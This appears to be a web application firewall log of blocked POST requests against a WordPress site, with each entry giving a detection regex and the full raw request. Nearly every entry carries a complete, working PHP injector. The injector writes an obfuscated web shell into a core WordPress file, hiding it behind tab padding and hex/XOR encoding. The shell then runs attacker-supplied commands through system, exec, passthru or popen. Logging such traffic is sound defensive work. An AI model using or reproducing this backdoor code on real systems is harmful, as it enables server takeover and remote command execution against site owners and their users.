%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-length:5296\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp1xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nsY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/XSalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524token_parser_engine6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65am%255Cx5F%255Cx67e%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524token_parser_engine1%2520%253D%2520%2522s%255Cx79%255Cx73%255Cx74em%2522%253B%2520%2524system_core%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520%2524token_parser_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524token_parser_engine5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524token_parser_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520%2524token_parser_engine4%2520%253D%2520%2522passt%255Cx68r%255Cx75%2522%253B%2520%2524token_parser_engine7%2520%253D%2520%2522pc%255Cx6Cose%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%2529%2520%257B%2520function%2520task_processor%2528%2524ptr%2520%252C%2520%2524pset%2529%2520%257B%2520%2524tkn%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524ptr%2529%2520as%2520%2524char%2529%257B%2520%2524tkn.%253Dchr%2528ord%2528%2524char%2529%255E%2524pset%2529%253B%2520%257D%2520return%2520%2524tkn%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524system_core%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520task_processor%2528%2524symbol%252C%252050%2529%253B%2520if%2520%2528function_exists%2528%2524token_parser_engine1%2529%2529%2520%257B%2520%2524token_parser_engine1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine2%2529%2529%2520%257B%2520print%2520%2524token_parser_engine2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine3%2529%2529%2520%257B%2520%2524token_parser_engine3%2528%2524symbol%252C%2520%2524ent_ptr%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_ptr%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine4%2529%2529%2520%257B%2520%2524token_parser_engine4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine5%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_engine6%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_engine7%2529%2529%2520%257B%2520%2524pset_tkn%2520%253D%2520%2524token_parser_engine5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_tkn%2529%2520%257B%2520%2524marker_dchunk%2520%253D%2520%2524token_parser_engine6%2528%2524pset_tkn%2529%253B%2520%2524token_parser_engine7%2528%2524pset_tkn%2529%253B%2520print%2520%2524marker_dchunk%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:45:32","103.93.94.155","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/XSalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524token_parser_engine6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65am%255Cx5F%255Cx67e%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524token_parser_engine1%2520%253D%2520%2522s%255Cx79%255Cx73%255Cx74em%2522%253B%2520%2524system_core%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520%2524token_parser_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524token_parser_engine5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524token_parser_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520%2524token_parser_engine4%2520%253D%2520%2522passt%255Cx68r%255Cx75%2522%253B%2520%2524token_parser_engine7%2520%253D%2520%2522pc%255Cx6Cose%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%2529%2520%257B%2520function%2520task_processor%2528%2524ptr%2520%252C%2520%2524pset%2529%2520%257B%2520%2524tkn%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524ptr%2529%2520as%2520%2524char%2529%257B%2520%2524tkn.%253Dchr%2528ord%2528%2524char%2529%255E%2524pset%2529%253B%2520%257D%2520return%2520%2524tkn%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524system_core%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520task_processor%2528%2524symbol%252C%252050%2529%253B%2520if%2520%2528function_exists%2528%2524token_parser_engine1%2529%2529%2520%257B%2520%2524token_parser_engine1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine2%2529%2529%2520%257B%2520print%2520%2524token_parser_engine2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine3%2529%2529%2520%257B%2520%2524token_parser_engine3%2528%2524symbol%252C%2520%2524ent_ptr%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_ptr%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine4%2529%2529%2520%257B%2520%2524token_parser_engine4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine5%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_engine6%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_engine7%2529%2529%2520%257B%2520%2524pset_tkn%2520%253D%2520%2524token_parser_engine5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_tkn%2529%2520%257B%2520%2524marker_dchunk%2520%253D%2520%2524token_parser_engine6%2528%2524pset_tkn%2529%253B%2520%2524token_parser_engine7%2528%2524pset_tkn%2529%253B%2520print%2520%2524marker_dchunk%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-length:5296\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoypvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nnW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/XSalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524token_parser_engine6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65am%255Cx5F%255Cx67e%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524token_parser_engine1%2520%253D%2520%2522s%255Cx79%255Cx73%255Cx74em%2522%253B%2520%2524system_core%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520%2524token_parser_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524token_parser_engine5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524token_parser_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520%2524token_parser_engine4%2520%253D%2520%2522passt%255Cx68r%255Cx75%2522%253B%2520%2524token_parser_engine7%2520%253D%2520%2522pc%255Cx6Cose%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%2529%2520%257B%2520function%2520task_processor%2528%2524ptr%2520%252C%2520%2524pset%2529%2520%257B%2520%2524tkn%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524ptr%2529%2520as%2520%2524char%2529%257B%2520%2524tkn.%253Dchr%2528ord%2528%2524char%2529%255E%2524pset%2529%253B%2520%257D%2520return%2520%2524tkn%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524system_core%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520task_processor%2528%2524symbol%252C%252050%2529%253B%2520if%2520%2528function_exists%2528%2524token_parser_engine1%2529%2529%2520%257B%2520%2524token_parser_engine1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine2%2529%2529%2520%257B%2520print%2520%2524token_parser_engine2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine3%2529%2529%2520%257B%2520%2524token_parser_engine3%2528%2524symbol%252C%2520%2524ent_ptr%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_ptr%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine4%2529%2529%2520%257B%2520%2524token_parser_engine4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine5%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_engine6%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_engine7%2529%2529%2520%257B%2520%2524pset_tkn%2520%253D%2520%2524token_parser_engine5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_tkn%2529%2520%257B%2520%2524marker_dchunk%2520%253D%2520%2524token_parser_engine6%2528%2524pset_tkn%2529%253B%2520%2524token_parser_engine7%2528%2524pset_tkn%2529%253B%2520print%2520%2524marker_dchunk%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:45:39","173.212.252.15","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/XSalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524token_parser_engine6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65am%255Cx5F%255Cx67e%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524token_parser_engine1%2520%253D%2520%2522s%255Cx79%255Cx73%255Cx74em%2522%253B%2520%2524system_core%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520%2524token_parser_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524token_parser_engine5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524token_parser_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520%2524token_parser_engine4%2520%253D%2520%2522passt%255Cx68r%255Cx75%2522%253B%2520%2524token_parser_engine7%2520%253D%2520%2522pc%255Cx6Cose%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%2529%2520%257B%2520function%2520task_processor%2528%2524ptr%2520%252C%2520%2524pset%2529%2520%257B%2520%2524tkn%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524ptr%2529%2520as%2520%2524char%2529%257B%2520%2524tkn.%253Dchr%2528ord%2528%2524char%2529%255E%2524pset%2529%253B%2520%257D%2520return%2520%2524tkn%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524system_core%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520task_processor%2528%2524symbol%252C%252050%2529%253B%2520if%2520%2528function_exists%2528%2524token_parser_engine1%2529%2529%2520%257B%2520%2524token_parser_engine1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine2%2529%2529%2520%257B%2520print%2520%2524token_parser_engine2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine3%2529%2529%2520%257B%2520%2524token_parser_engine3%2528%2524symbol%252C%2520%2524ent_ptr%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_ptr%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine4%2529%2529%2520%257B%2520%2524token_parser_engine4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine5%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_engine6%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_engine7%2529%2529%2520%257B%2520%2524pset_tkn%2520%253D%2520%2524token_parser_engine5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_tkn%2529%2520%257B%2520%2524marker_dchunk%2520%253D%2520%2524token_parser_engine6%2528%2524pset_tkn%2529%253B%2520%2524token_parser_engine7%2528%2524pset_tkn%2529%253B%2520print%2520%2524marker_dchunk%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:5319\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-fetch-mode:navigate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/XSalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524token_parser_engine6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65am%255Cx5F%255Cx67e%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524token_parser_engine1%2520%253D%2520%2522s%255Cx79%255Cx73%255Cx74em%2522%253B%2520%2524system_core%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520%2524token_parser_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524token_parser_engine5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524token_parser_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520%2524token_parser_engine4%2520%253D%2520%2522passt%255Cx68r%255Cx75%2522%253B%2520%2524token_parser_engine7%2520%253D%2520%2522pc%255Cx6Cose%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%2529%2520%257B%2520function%2520task_processor%2528%2524ptr%2520%252C%2520%2524pset%2529%2520%257B%2520%2524tkn%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524ptr%2529%2520as%2520%2524char%2529%257B%2520%2524tkn.%253Dchr%2528ord%2528%2524char%2529%255E%2524pset%2529%253B%2520%257D%2520return%2520%2524tkn%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524system_core%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520task_processor%2528%2524symbol%252C%252050%2529%253B%2520if%2520%2528function_exists%2528%2524token_parser_engine1%2529%2529%2520%257B%2520%2524token_parser_engine1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine2%2529%2529%2520%257B%2520print%2520%2524token_parser_engine2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine3%2529%2529%2520%257B%2520%2524token_parser_engine3%2528%2524symbol%252C%2520%2524ent_ptr%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_ptr%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine4%2529%2529%2520%257B%2520%2524token_parser_engine4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine5%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_engine6%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_engine7%2529%2529%2520%257B%2520%2524pset_tkn%2520%253D%2520%2524token_parser_engine5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_tkn%2529%2520%257B%2520%2524marker_dchunk%2520%253D%2520%2524token_parser_engine6%2528%2524pset_tkn%2529%253B%2520%2524token_parser_engine7%2528%2524pset_tkn%2529%253B%2520print%2520%2524marker_dchunk%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
